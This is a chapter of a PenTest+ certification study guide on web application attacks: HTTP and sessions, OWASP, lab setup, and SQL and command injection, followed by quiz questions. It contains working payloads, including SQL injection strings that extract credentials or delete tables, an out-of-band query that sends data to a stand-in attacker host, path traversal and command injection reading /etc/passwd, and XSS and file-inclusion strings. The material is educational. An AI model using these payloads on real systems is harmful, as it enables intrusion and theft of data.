This chapter covers the following topics related to Objective 3.3 (Given a scenario, research attack vectors and perform application-based attacks.) of the CompTIA PenTest+ PT0-002 certification exam:
Overview of web application-based attacks for security professionals and the OWASP Top 10
How to build your own web application lab
Understanding business logic flaws
Understanding injection-based vulnerabilities
Exploiting authentication-based vulnerabilities
Exploiting authorization-based vulnerabilities
Understanding cross-site scripting (XSS) vulnerabilities
Understanding cross-site request forgery and server-side request forgery attacks
Understanding clickjacking
Exploiting security misconfiguration
Exploiting file inclusion and directory traversal vulnerabilities
Assessing insecure code practices
Understanding API attacks
Web-based applications are everywhere. You can find them for online retail, banking, enterprise applications, mobile, and Internet of Things (IoT) applications. Thanks to advancements in modern web applications and related frameworks, the ways we create, deploy, and maintain web applications have changed such that the environment is now very complex and diverse. These advancements in web applications have also attracted threat actors.
In this chapter, you will learn how to assess and exploit application-based vulnerabilities. The chapter starts with an overview of web applications and the OWASP Top 10. It also provides guidance on how you can build your own web application lab. In this chapter, you will gain an understanding of injection-based vulnerabilities. You will also learn about ways threat actors exploit authentication and authorization flaws. Further, you will gain an understanding of cross-site scripting (XSS) and cross-site request forgery (CSRF/XSRF) vulnerabilities and how to exploit them. Finally, you will learn about clickjacking and how threat actors may take advantage of security misconfigurations, directory traversal vulnerabilities, insecure code practices, and attacks against application programming interfaces (APIs).
The “Do I Know This Already?” quiz allows you to assess whether you should read this entire chapter thoroughly or jump to the “Exam Preparation Tasks” section. If you are in doubt about your answers to these questions or your own assessment of your knowledge of the topics, read the entire chapter. Table 6-1 lists the major headings in this chapter and their corresponding “Do I Know This Already?” quiz questions. You can find the answers in Appendix A, “Answers to the ‘Do I Know This Already?’ Quizzes and Q&A Sections.”
Table 6-1 “Do I Know This Already?” Section-to-Question Mapping
Foundation Topics Section | Questions |
Overview of Web Application-Based Attacks for Security Professionals and the OWASP Top 10 | 1 |
How to Build Your Own Web Application Lab | 2 |
Understanding Business Logic Flaws | 3 |
Understanding Injection-Based Vulnerabilities | 4, 5 |
Exploiting Authentication-Based Vulnerabilities | 6, 7 |
Exploiting Authorization-Based Vulnerabilities | 8, 9 |
Understanding Cross-Site Scripting (XSS) Vulnerabilities | 10, 11 |
Understanding Cross-Site Request Forgery (CSRF/XSRF) and Server-Side Request Forgery Attacks | 12, 13 |
Understanding Clickjacking | 14, 15 |
Exploiting Security Misconfiguration | 16, 17 |
Exploiting File Inclusion Vulnerabilities | 18, 19 |
Assessing Insecure Code Practices | 20, 21 |
1. Which of the following is not an example of an HTTP method?
PUT
DELETE
TRACE
REST
2. Which of the following is not an example of a vulnerable application that you can use to practice your penetration testing skills?
OWASP JuiceShop
DVWA
OWASP WebGoat
All of these answers are correct.
3. Which of the following is true about business logic flaws?
Business logic flaws enable an attacker to use legitimate transactions and flows of an application in a way that results in a negative behavior or outcome.
Business logic flaws include vulnerabilities such as XSS, CSRF, and SQL injection.
Business logic flaws can be easily detected using a scanner.
All of the above are correct.
4. Which of the following are examples of code injection vulnerabilities? (Choose all that apply.)
SQL injection
HTML script injection
Object injection
All of the above are correct.
5. Consider the following string:
Ben' or '1'='1
This string is an example of what type of attack?
XSS
XSRF
CSRF
SQL injection
6. Which of the following is a tool that can be used to enumerate directories and files in a web application?
DirBuster
SQLmap
Ghidra
None of these answers are correct.
7. Which of the following is not true?
Once an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as usernames and passwords, one-time passwords, and client-based digital certificates.
The session ID (or token) is temporarily equivalent to the strongest authentication method used by an application prior to authentication.
The session ID is a name/value pair.
None of the answers are correct.
8. What type of vulnerability can be triggered by using the parameters in the following URL?
https://store.h4cker.org/?search=cars&results=20&search=bikes
XSS
SQL injection
HTTP parameter pollution (HPP)
Command injection
9. What type of vulnerability can be triggered by using the parameters in the following URL?
http://web.h4cker.org/changepassd?user=chris
SQL injection
Insecure Direct Object Reference
Indirect Object Reference
XSS
10. What type of vulnerability can be triggered by using the following string?
<img src=javascript:a& #x6Cert('XSS')>
XSS
CSRF
SQL injection
Windows PowerShell injection
11. Software developers should escape all characters (including spaces but excluding alphanumeric characters) with the HTML entity &#xHH; format to prevent what type of attack?
DDoS attacks
CSRF attacks
XSS attacks
Brute-force attacks
12. Which of the following is not true about cross-site request forgery (CSRF or XSRF) attacks?
CSRF attacks can occur when unauthorized commands are transmitted from a user who is trusted by the application.
CSRF vulnerabilities are also referred to as “one-click attacks” or “session riding.”
CSRF attacks typically affect applications (or websites) that rely on digital certificates that have been expired or forged.
An example of a CSRF attack is a user who is authenticated by an application through a cookie saved in the browser unwittingly sending an HTTP request to a site that trusts the user, subsequently triggering an unwanted action.
13. What type of vulnerability can be exploited with the parameters used in the following URL?
http://h4cker.org/resource/?password_new=newpasswd&password_ conf=newpasswd &Change=Change#
CSRF or XSRF
Reflected XSS
SQL injection
Session manipulation
14. Which of the following statements about clickjacking are true? (Choose all that apply.)
Clickjacking involves using multiple transparent or opaque layers to induce a user to click on a web button or link on a page that he or she did not intend to navigate or click.
Clickjacking attacks are often referred to as “UI redress attacks.” User keystrokes can also be hijacked using clickjacking techniques.
It is possible to launch a clickjacking attack by using a combination of CSS stylesheets, iframes, and text boxes to fool the user into entering information or clicking on links in an invisible frame that could be rendered from a site an attacker created.
All of these answers are correct.
15. Which of the following is a mitigation technique for preventing clickjacking attacks?
Converting < to <
Replacing an older X-Frame-Options or CSP frame ancestors
Converting " to "
Converting ' to '
16. What type of vulnerability or attack is demonstrated in the following URL?
https://store.h4cker.org/buyme/?page=../../../../../etc/passwd
Directory (path) traversal
SQL injection
DOM-based XSS
Stored XSS
17. Which of the following statements is not true?
An attacker can take advantage of stored DOM-based vulnerabilities to create a URL to set an arbitrary value in a user’s cookie.
The impact of a stored DOM-based vulnerability depends on the role that the cookie plays within the application.
A best practice to avoid cookie manipulation attacks is to dynamically write to cookies using data originating from untrusted sources.
Cookie manipulation is possible when vulnerable applications store user input and then embed that input into a response within a part of the DOM.
18. Local file inclusion (LFI) vulnerabilities occur when a web application allows a user to submit input into files or upload files to the server. Successful exploitation could allow an attacker to perform which of the following operations?
Inject shell code on an embedded system
Read and (in some cases) execute files on the victim’s system
Execute code hosted in a system controlled by the attacker
Invoke PowerShell scripts to perform lateral movement
19. What type of vulnerability or attack is demonstrated in the following URL?
http://web.h4cker.org/?page=http://malicious.h4cker.org/ malware.js
SQL injection
Reflected XSS
Local file inclusion
Remote file inclusion
20. Which of the following is a type of attack that takes place when a system or an application attempts to perform two or more operations at the same time?
Reflected XSS
Race condition
Session hijacking
Clickjacking
21. Which of the following is a modern framework of API documentation and development and the basis of the OpenAPI Specification (OAS), which can be very useful in helping pen testers to get insights into an API?
SOAP
GraphQL
Swagger
WSDL
Foundation Topics
Web applications use many different protocols, the most prevalent of which is HTTP. This book assumes that you have a basic understanding of Internet protocols and their use, but this chapter takes a deep dive into the components of protocols like HTTP that you will find in nearly all web applications.
Let’s look at a few facts and definitions before we proceed to details about HTTP:
The HTTP 1.1 protocol is defined in RFCs 7230–7235.
In the examples in this chapter, when we refer to an HTTP server, we basically mean a web server.
When we refer to HTTP clients, we are talking about browsers, proxies, API clients, and other custom HTTP client programs.
HTTP is a very simple protocol, which is both a good thing and a bad thing.
In most cases, HTTP is categorized as a stateless protocol that does not rely on a persistent connection for communication logic.
An HTTP transaction consists of a single request from a client to a server, followed by a single response from the server back to the client.
HTTP is different from stateful protocols, such as FTP, SMTP, IMAP, and POP. When a protocol is stateful, sequences of related commands are treated as a single interaction.
A server must maintain the state of its interaction with the client throughout the transmission of successive commands until the interaction is terminated.
A sequence of transmitted and executed commands is often called a session.
Figure 6-1 shows a very simple topology that includes a client, a proxy, and a web (HTTP) server.
HTTP proxies act as both servers and clients. Proxies make requests to web servers on behalf of other clients. They enable HTTP transfers across firewalls and can also provide support for caching of HTTP messages. Proxies can perform other roles in complex environments, including Network Address Translation (NAT) and filtering of HTTP requests.
HTTP is an application-level protocol in the TCP/IP protocol suite, and it uses TCP as the underlying transport layer protocol for transmitting messages. HTTP uses a request/response model, which basically means that an HTTP client program sends an HTTP request message to a server, and then the server returns an HTTP response message, as demonstrated in Figure 6-2.
In Figure 6-2, a client sends an HTTP request to the web server, and the server replies back with an HTTP response. In Example 6-1, the Linux tcpdump utility (command) is being used to capture the packets from the client (192.168.78.6) to the web server to access the website http://web.h4cker.org/omar.html.
omar@jorel:~$ sudo tcpdump net 185.199.0.0/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on enp9s0, link-type EN10MB (Ethernet), capture size 262144 bytes 23:55:13.076301 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [S], seq 3575866614, win 29200, options [mss 1460,sackOK,TS val 462864607 ecr 0,nop,wscale 7], length 0 23:55:13.091262 IP 185.199.109.153.http > 192.168.78.6.37328: Flags [S.], seq 3039448681, ack 3575866615, win 26960, options [mss 1360,sackOK,TS val 491992242 ecr 462864607,nop,wscale 9], length 0 23:55:13.091322 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [.], ack 1, win 229, options [nop,nop,TS val 462864611 ecr 491992242], length 0 23:55:13.091409 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [P.], seq 1:79, ack 1, win 229, options [nop,nop,TS val 462864611 ecr 491992242], length 78: HTTP: GET / HTTP/1.1 23:55:13.105791 IP 185.199.109.153.http > 192.168.78.6.37328: Flags [.], ack 79, win 53, options [nop,nop,TS val 491992246 ecr 462864611], length 0 23:55:13.106727 IP 185.199.109.153.http > 192.168.78.6.37328: Flags [P.], seq 1:6404, ack 79, win 53, options [nop,nop,TS val 491992246 ecr 462864611], length 6403: HTTP: HTTP/1.1 200 OK 23:55:13.106776 IP 192.168.78.6.37328 > 185.199.109.153.http: Flags [.], ack 6404, win 329, options [nop,nop,TS val 462864615 ecr 491992246], length 0
In Example 6-1, you can see the packets that correspond to the steps shown in Figure 6-2. The client and the server first complete the TCP three-way handshake (SYN, SYN ACK, ACK). Then the client sends an HTTP GET (request), and the server replies with a TCP ACK and the contents of the page (with an HTTP 200 OK response). Each of these request and response messages contains a message header and message body. An HTTP message (either a request or a response) has a structure that consists of a block of lines comprising the message header, followed by a message body. Figure 6-3 shows the details of an HTTP request packet capture collected between a client (192.168.78.168) and a web server.
The packet shown in Figure 6-3 was collected with Wireshark. As you can see, HTTP messages are not designed for human consumption and have to be expressive enough to control HTTP servers, browsers, and proxies.
When HTTP servers and browsers communicate with each other, they perform interactions based on headers as well as body content. The HTTP request shown in Figure 6-3 has the following structure:
The method: In this example, the method is an HTTP GET, although it could be any of the following:
GET: Retrieves information from the server
HEAD: Basically the same as GET but returns only HTTP headers and no document body
POST: Sends data to the server (typically using HTML forms, API requests, and so on)
TRACE: Does a message loopback test along the path to the target resource
PUT: Uploads a representation of the specified URI
DELETE: Deletes the specified resource
OPTIONS: Returns the HTTP methods that the server supports
CONNECT: Converts the request connection to a transparent TCP/IP tunnel
The URI and the path-to-resource field: This represents the path portion of the requested URL.
The request version-number field: This specifies the version of HTTP used by the client.
The user agent: In this example, Chrome was used to access the website. In the packet capture you see the following:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 .
Several other fields: accept, accept-language, accept encoding, and other fields also appear.
The server, after receiving this request, generates a response. Figure 6-4 shows the HTTP response.
The server response includes a three-digit status code and a brief human-readable explanation of the status code. Below that you can see the text data (which is the HTML code coming back from the server and displaying the website contents).
The HTTP status code messages can be in the following ranges:
Messages in the 100 range are informational.
Messages in the 200 range are related to successful transactions.
Messages in the 300 range are related to HTTP redirections.
Messages in the 400 range are related to client errors.
Messages in the 500 range are related to server errors.
HTTP and other protocols use URLs—and you are definitely familiar with URLs because you use them every day. This section explains the elements of a URL so you can better understand how to abuse some of these parameters and elements from an offensive security perspective.
Consider the URL https://theartofhacking.org:8123/dir/test;id=89?name=omar&x=true. Let’s break down this URL into its component parts:
scheme: This is the portion of the URL that designates the underlying protocol to be used (for example, HTTP, FTP); it is followed by a colon and two forward slashes (//). In this example, the scheme is http.
host: This is the IP address (numeric or DNS-based) for the web server being accessed; it usually follows the colon and two forward slashes. In this case, the host is theartofhacking.org.
port: This optional portion of the URL designates the port number to which the target web server listens. (The default port number for HTTP servers is 80, but some configurations are set up to use an alternate port number.) In this case, the server is configured to use port 8123.
path: This is the path from the “root” directory of the server to the desired resource. In this case, you can see that there is a directory called dir. (Keep in mind that, in reality, web servers may use aliasing to point to documents, gateways, and services that are not explicitly accessible from the server’s root directory.)
path-segment-params: This is the portion of the URL that includes optional name/value pairs (that is, path segment parameters). A path segment parameter is typically preceded by a semicolon (depending on the programming language used), and it comes immediately after the path information. In this example, the path segment parameter is id=89. Path segment parameters are not commonly used. In addition, it is worth mentioning that these parameters are different from query-string parameters (often referred to as URL parameters).
query-string: This optional portion of the URL contains name/value pairs that represent dynamic parameters associated with the request. These parameters are commonly included in links for tracking and context-setting purposes. They may also be produced from variables in HTML forms. Typically, the query string is preceded by a question mark. Equals signs (=) separate names and values, and ampersands (&) mark the boundaries between name/value pairs. In this example, the query string is name=omar&x=true.
In addition, other protocols, such as HTML and CSS, are used on things like Simple Object Access Protocol (SOAP) and RESTful APIs. Examples include JSON, XML, and Web Processing Service (WPS) (which is not the same as the WPS in wireless networks).
The current HTTP versions are 1.1 and 2.0. Figure 6-5 shows an example of an HTTP 1.1 exchange between a web client and a web server.
Figure 6-6 shows an example of an HTTP 2.0 exchange between a web client and a web server.
A web session is a sequence of HTTP request and response transactions between a web client and a server. These transactions include pre-authentication tasks, the authentication process, session management, access control, and session finalization. Numerous web applications keep track of information about each user for the duration of a web transaction. Several web applications have the ability to establish variables such as access rights and localization settings. These variables apply to each and every interaction a user has with the web application for the duration of the session.
Web applications can create sessions to keep track of anonymous users after the very first user request. For example, an application can remember the user language preference every time it visits the site or application front end. In addition, a web application uses a session after the user has authenticated. This allows the application to identify the user on any subsequent requests and be able to apply security access controls and increase the usability of the application. In short, web applications can provide session capabilities both before and after authentication.
After an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as usernames and passwords, one-time passwords, and client-based digital certificates.
In order to keep the authenticated state and track user progress, applications provide users with session IDs, or tokens. A token is assigned at session creation time, and it is shared and exchanged by the user and the web application for the duration of the session. The session ID is a name/value pair.
The session ID names used by the most common web application development frameworks can be easily fingerprinted. For instance, you can easily fingerprint PHPSESSID (PHP), JSESSIONID (J2EE), CFID and CFTOKEN (ColdFusion), ASP.NET_SessionId (ASP .NET), and many others. In addition, the session ID name may indicate what framework and programming languages are used by the web application.
It is recommended to change the default session ID name of the web development framework to a generic name, such as id.
The session ID must be long enough to prevent brute-force attacks. Sometimes developers set it to just a few bits, though it must be at least 128 bits (16 bytes).
There are multiple mechanisms available in HTTP to maintain session state within web applications, including cookies (in the standard HTTP header), the URL parameters and rewriting defined in RFC 3986, and URL arguments on GET requests. In addition, developers use body arguments on POST requests, such as hidden form fields (HTML forms) or proprietary HTTP headers. However, one of the most widely used session ID exchange mechanisms is cookies, which offer advanced capabilities not available in other methods.
Including the session ID in the URL can lead to the manipulation of the ID or session fixation attacks. It is therefore important to keep the session ID out of the URL.
This may seem pretty obvious, but you have to remember to encrypt an entire web session, not only for the authentication process where the user credentials are exchanged but also to ensure that the session ID is exchanged only through an encrypted channel. The use of an encrypted communication channel also protects the session against some session fixation attacks, in which the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victim’s web browser.
Session management mechanisms based on cookies can make use of two types of cookies: non-persistent (or session) cookies and persistent cookies. If a cookie has a Max-Age or Expires attribute, it is considered a persistent cookie and is stored on a disk by the web browser until the expiration time. Common web applications and clients prioritize the Max-Age attribute over the Expires attribute.
Modern applications typically track users after authentication by using non-persistent cookies. This forces the session information to be deleted from the client if the current web browser instance is closed. This is why it is important to use nonpersistent cookies: so the session ID does not remain on the web client cache for long periods of time.
Session IDs must be carefully validated and verified by an application. Depending on the session management mechanism that is used, the session ID will be received in a GET or POST parameter, in the URL, or in an HTTP header using cookies.
If web applications do not validate and filter out invalid session ID values, they can potentially be used to exploit other web vulnerabilities, such as SQL injection if the session IDs are stored on a relational database or persistent cross-site scripting (XSS) if the session IDs are stored and reflected back afterward by the web application.
The Open Web Application Security Project (OWASP) is an international organization dedicated to educating industry professionals, creating tools, and evangelizing best practices for securing web applications and underlying systems. There are dozens of OWASP chapters around the world. It is recommended that you become familiar with OWASP’s website (https://www.owasp.org) and guidance. (You can probably tell that I am a fan of OWASP. As a matter of fact, I am a lifetime member.)
OWASP publishes and regularly updates a list of the top 10 application security risks. The OWASP Top 10 is an awareness document and a community effort (see https://owasp.org/www-project-top-ten/). You can also contribute and review via the OWASP GitHub repository at https://github.com/OWASP/Top10. This book and the PenTest+ certification cover the vulnerabilities highlighted in the OWASP Top 10 list. The best way to keep up with OWASP updates is by navigating directly to its website. This chapter covers vulnerabilities in the OWASP Top 10, such as injection vulnerabilities and cross-site scripting (XSS).
In Chapter 10, “Tools and Code Analysis,” you will learn details about dozens of penetration testing tools. This section provides some tips and instructions on how you can build your own lab for web application penetration testing, including deploying intentionally vulnerable applications in a safe environment.
While most of the penetration testing tools covered in this book can be downloaded in isolation and installed in many different operating systems, several popular security-related Linux distributions package hundreds of tools. These distributions make it easy for you to get started without having to worry about the many dependencies, libraries, and compatibility issues you may encounter. The following are the three most popular Linux distributions for ethical hacking (penetration testing):
Kali Linux: This is probably the most popular security penetration testing distribution of the three. Kali is a Debian-based distribution primarily supported and maintained by Offensive Security that can be downloaded from https://www.kali.org. You can easily install it in bare-metal systems, virtual machines (VMs), and even devices like Raspberry Pi devices and Chromebooks.
Parrot OS: This is another popular Linux distribution that is used by many pen testers and security researchers. You can also install it in bare-metal machines and in VMs. You can download Parrot from https://www.parrotsec.org.
BlackArch Linux: This increasingly popular security penetration testing distribution is based on Arch Linux and comes with more than 1900 different tools and packages. You can download BlackArch Linux from https://blackarch.org.
There are several intentionally vulnerable applications and virtual machines that you can deploy in a lab (safe) environment to practice your skills. You can also run some of them in Docker containers. I have included in my GitHub repository at https://h4cker.org/github numerous resources and links to other tools and intentionally vulnerable systems that you can deploy in your lab.
If you are just getting started, the simplest way to practice your skills in a safe environment is to install Kali Linux or Parrot OS in a VM and set up WebSploit Labs (see websploit.org). Several of the examples covered later in this chapter and elsewhere in this book use the tools and intentionally vulnerable applications running in WebSploit Labs.
Business logic flaws enable an attacker to use legitimate transactions and flows of an application in a way that results in a negative behavior or outcome. Most common business logic problems are different from the typical security vulnerabilities in an application (such as XSS, CSRF, and SQL injection). A challenge with business logic flaws is that they can’t typically be found by using scanners or other similar tools.
The likelihood of business logic flaws being exploited by threat actors depends on many circumstances. However, such exploits can have serious consequences. Data validation and use of a detailed threat model can help prevent and mitigate the effects of business logic flaws. OWASP offers recommendations on how to test and protect against business logic attacks at https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/01-Test_Business_Logic_Data_Validation.
MITRE has assigned Common Weakness Enumeration (CWE) ID 840 (CWE-840) to business logic errors. You can obtain detailed information about CWE-840 at https://cwe.mitre.org/data/definitions/840.html. That website also provides several granular examples of business logic flaws including the following:
Unverified ownership
Authentication bypass using an alternate path or channel
Authorization bypass through user-controlled key
Weak password recovery mechanism for forgotten password
Incorrect ownership assignment
Allocation of resources without limits or throttling
Premature release of resource during expected lifetime
Improper enforcement of a single, unique action
Improper enforcement of a behavioral workflow
Let’s change gears a bit and look at injection-based vulnerabilities and how to exploit them. An attacker takes advantage of code injection vulnerabilities by injecting code into a vulnerable system to change the course of execution and force an application or a system to process invalid data. Successful exploitation can lead to the disclosure of sensitive information, manipulation of data, denial-of-service (DoS) conditions, and more. The following are examples of injection-based vulnerabilities that are discussed in the following sections:
SQL injection vulnerabilities
HTML injection vulnerabilities
Command injection vulnerabilities
Lightweight Directory Access Protocol (LDAP) injection vulnerabilities
SQL injection (SQLi) vulnerabilities can be catastrophic because they can allow an attacker to view, insert, delete, or modify records in a database. In injection attack, the attacker inserts, or injects, partial or complete SQL queries via the web application. The attacker injects SQL commands into input fields in an application or a URL in order to execute predefined SQL commands.
As you may know, the following are some of the most common SQL statements (commands):
SELECT: Used to obtain data from a database
UPDATE: Used to update data in a database
DELETE: Used to delete data from a database
INSERT INTO: Used to insert new data into a database
CREATE DATABASE: Used to create a new database
ALTER DATABASE: Used to modify a database
CREATE TABLE: Used to create a new table
ALTER TABLE: Used to modify a table
DROP TABLE: Used to delete a table
CREATE INDEX: Used to create an index or a search key element
DROP INDEX: Used to delete an index
Typically, SQL statements are divided into the following categories:
Data definition language (DDL) statements
Data manipulation language (DML) statements
Transaction control statements
Session control statements
System control statements
Embedded SQL statements
Figure 6-7 shows an example of using the Try-SQL Editor with an SQL statement.
The statement shown in Figure 6-7 is a SELECT statement that is querying records in a database table called Customers and that specifically searches for any instances that match %Saavedra% in the ContactName column (field). A single record is displayed.
Figure 6-8 takes a closer look at the SQL statement shown in Figure 6-7.
Web applications construct SQL statements involving SQL syntax invoked by the application mixed with user-supplied data. The first portion of the SQL statement shown in Figure 6-8 is not shown to the user; typically the application sends this portion to the database behind the scenes. The second portion of the SQL statement is typically user input in a web form.
If an application does not sanitize user input, an attacker can supply crafted input in an attempt to make the original SQL statement execute further actions in the database. SQL injections can be accomplished using user-supplied strings or numeric input. Figure 6-9 shows an example of using WebGoat to carry out a basic SQL injection attack. When the string Smith’ or '1'='1 is entered in the web form, it causes the application to display all records in the database table to the attacker. This is an example of a Boolean SQL injection attack.
Figure 6-10 shows another SQL injection attack example. In this case, the attacker is using numeric input to cause the vulnerable application to dump the table records.
One of the first steps when you find SQL injection vulnerabilities is to understand when the application interacts with a database. This is typically done with web authentication forms, search engines, and interactive sites such as e-commerce sites.
You can make a list of all input fields whose values could be used in crafting a valid SQL query. This includes trying to identify and manipulate hidden fields of POST requests and then testing them separately, trying to interfere with the query and to generate an error. As part of penetration testing, you should pay attention to HTTP headers and cookies.
As a penetration tester, you can start by adding a single quote (') or a semicolon (;) to the field or parameter in a web form. The single quote is used in SQL as a string terminator. If the application does not filter it correctly, you may be able to retrieve records or additional information that can help enhance your query or statement.
You can also use comment delimiters (such as -- or /* */), as well as other SQL keywords, including AND and OR operands. Another simple test is to insert a string where a number is expected.
SQL injection attacks can be divided into the following categories:
In-band SQL injection: With this type of injection, the attacker obtains the data by using the same channel that is used to inject the SQL code. This is the most basic form of an SQL injection attack, where the data is dumped directly in a web application (or web page).
Out-of-band SQL injection: With this type of injection, the attacker retrieves data using a different channel. For example, an email, a text, or an instant message could be sent to the attacker with the results of the query; or the attacker might be able to send the compromised data to another system.
Blind (or inferential) SQL injection: With this type of injection, the attacker does not make the application display or transfer any data; rather, the attacker is able to reconstruct the information by sending specific statements and discerning the behavior of the application and database.
There are essentially five techniques that can be used to exploit SQL injection vulnerabilities:
Union operator: This is typically used when an SQL injection vulnerability allows a SELECT statement to combine two queries into a single result or a set of results.
Boolean: This is used to verify whether certain conditions are true or false.
Error-based technique: This is used to force the database to generate an error in order to enhance and refine an attack (injection).
Out-of-band technique: This is typically used to obtain records from the database by using a different channel. For example, it is possible to make an HTTP connection to send the results to a different web server or a local machine running a web service.
Time delay: It is possible to use database commands to delay answers. An attacker may use this technique when he or she doesn’t get output or error messages from the application.
SQL injection can also be exploited by manipulating a URL query string, as demonstrated here:
https://store.h4cker.org/buystuff.php?id=99 AND 1=2
This vulnerable application then performs the following SQL query:
SELECT * FROM products WHERE product_id=99 AND 1=2
The attacker may then see a message specifying that there is no content available or a blank page. The attacker can then send a valid query to see if there are any results coming back from the application, as shown here:
https://store.h4cker.org/buystuff.php?id=99 AND 1=1
Some web application frameworks allow multiple queries at once. An attacker can take advantage of that capability to perform additional exploits, such as adding records. The following statement, for example, adds a new user called omar to the users table of the database:
https://store.h4cker.org/buystuff.php?id=99; INSERT INTO users(username) VALUES ('omar')
In order to successfully execute complex queries and exploit different combinations of SQL injections, you must first fingerprint the database. The SQL language is defined in the ISO/IEC 9075 standard. However, databases differ from one another in terms of their ability to perform additional commands, their use of functions to retrieve data, and other features. When performing more advanced SQL injection attacks, an attacker needs to know what back-end database the application uses (for example, Oracle, MariaDB, MySQL, PostgreSQL).
One of the easiest ways to fingerprint a database is to pay close attention to any errors returned by the application, as demonstrated in the following syntax error message from a MySQL database:
MySQL Error 1064: You have an error in your SQL syntax
The following is an error from a Microsoft SQL database:
Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string
The following is an error message from a Microsoft SQL Server database with Active Server Page (ASP):
Server Error in '/' Application
The following is an error message from an Oracle database:
ORA-00933: SQL command not properly ended
The following is an error message from a PostgreSQL database:
PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1 or Query failed: ERROR: syntax error at or near "'" at character 52 in /www/html/buyme.php on line 69.
If you are trying to fingerprint a database, and there is no error message from the database, you can try using concatenation, as shown here:
MySQL: 'finger' + 'printing' SQL Server: 'finger' 'printing' Oracle: 'finger'||'printing' PostgreSQL: 'finger'||'printing'
The SQL UNION operator is used to combine the result sets of two or more SELECT statements, as shown here:
SELECT zipcode FROM h4cker_customers UNION SELECT zipcode FROM h4cker_suppliers;
By default, the UNION operator selects only distinct values. You can use the UNION ALL operator if you want to allow duplicate values.
Attackers may use the UNION operator in SQL injections attacks to join queries. The main goal of this strategy is to obtain the values of columns of other tables. The following is an example of a UNION-based SQL injection attack:
SELECT zipcode FROM h4cker_customers WHERE zip=1 UNION ALL SELECT creditcard FROM payments
In this example, the attacker joins the result of the original query with all the credit card numbers in the payments table.
Figure 6-11 shows an example of using a UNION operand in the WebGoat vulnerability application to simulate an SQL injection attack. The example shows the following string entered in the web form:
omar' UNION SELECT 1,user_name,password,'1','1','1',1 FROM user_system_ data --
The following is an example of a UNION-based SQL injection attack using a URL:
https://store.h4cker.org/buyme.php?id=1234' UNION SELECT 1, user_name,password,'1','1','1',1 FROM user_system_data --
The Boolean technique is typically used in blind SQL injection attacks. In blind SQL injection vulnerabilities, the vulnerable application typically does not return an SQL error, but it could return an HTTP 500 message, a 404 message, or a redirect. It is possible to use Boolean queries against an application to try to understand the reason for such error codes.
Figure 6-12 shows an example of a blind SQL injection using the intentionally vulnerable DVWA application.
The out-of-band exploitation technique is very useful when you are exploiting a blind SQL injection vulnerability. You can use database management system (DBMS) functions to execute an out-of-band connection to obtain the results of the blind SQL injection attack. Figure 6-13 shows how an attacker could exploit a blind SQL injection vulnerability at store.h4cker.org and then force the victim server to send the results of the query (compromised data) to another server (malicious.h4cker.org).
Say that the malicious SQL string is as follows:
https://store.h4cker.org/buyme.php?id=8||UTL_HTTP.request('malicious. h4cker.org')||(SELECT user FROM DUAL)--
In this example, the attacker is using the value 8 combined with the result of Oracle’s function UTL_HTTP.request.
In a normal SQL query, you can use a semicolon to specify that the end of a statement has been reached and what follows is a new one. This technique allows you to execute multiple statements in the same call to the database. UNION queries used in SQL injection attacks are limited to SELECT statements. However, stacked queries can be used to execute any SQL statement or procedure. A typical attack using this technique could specify a malicious input statement such as the following:
1; DELETE FROM customers
The vulnerable application and database process this statement as the following SQL query:
SELECT * FROM customers WHERE customer_id=1; DELETE FROM customers
When trying to exploit a blind SQL injection, the Boolean technique is very helpful. Another trick is to also induce a delay in the response, which indicates that the result of the conditional query is true.
The following is an example of using the time-delay technique against a MySQL server:
https://store.h4cker.org/buyme.php?id=8 AND IF(version() like '8%', sleep(10), 'false'))--
In this example, the query checks whether the MySQL version is 8.x and then forces the server to delay the answer by 10 seconds. The attacker can increase the delay time and monitor the responses. The attacker could even set the sleep parameter to a high value since it is not necessary to wait that long and then just cancel the request after a few seconds.
A stored procedure is one or more SQL statements or a reference to an SQL server. Stored procedures can accept input parameters and return multiple values in the form of output parameters to the calling program. They can also contain programming statements that execute operations in the database (including calling other procedures).
If an SQL server does not sanitize user input, it is possible to enter malicious SQL statements that will be executed within the stored procedure. The following example illustrates the concept of a stored procedure:
Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ' Select 1 from users Where username = ' + @username + ' and passwd = ' + @passwd exec(@sqlstring) Go
By entering omar or 1=1' somepassword in a vulnerable application where the input is not sanitized, an attacker could obtain the password as well as other sensitive information from the database.
You can use tools such as SQLmap to automate an SQL injection attack. SQLmap comes installed by default in Kali Linux and Parrot OS. In addition, you can download it from https://sqlmap.org and install it on any compatible Linux system.
Input validation is an important part of mitigating SQL injection attacks. The best mitigation for SQL injection vulnerabilities is to use immutable queries, such as the following:
Static queries
Parameterized queries
Stored procedures (if they do not generate dynamic SQL)
Immutable queries do not contain data that could get interpreted. In some cases, they process the data as a single entity that is bound to a column without interpretation.
The following are two examples of static queries:
select * from contacts; select * from users where user = "omar";
The following are examples of parameterized queries:
String query = "SELECT * FROM users WHERE name = ?"; PreparedStatement statement = connection.prepareStatement(query); statement.setString(1, username); ResultSet results = statement.executeQuery();
A command injection is an attack in which an attacker tries to execute commands that he or she is not supposed to be able to execute on a system via a vulnerable application. Command injection attacks are possible when an application does not validate data supplied by the user (for example, data entered in web forms, cookies, HTTP headers, and other elements). The vulnerable system passes that data into a system shell.
With command injection, an attacker tries to send operating system commands so that the application can execute them with the privileges of the vulnerable application.
Command injection against web applications is not as popular as it used to be because modern application frameworks have better defenses against these attacks. Figure 6-14 shows an example of command injection using the intentionally vulnerable DVWA application.
In Figure 6-14, the website allows a user to enter an IP address to perform a ping test to that IP address, but the attacker enters the string 192.168.78.6;cat /etc/passwd to cause the application to show the contents of the file /etc/passwd.
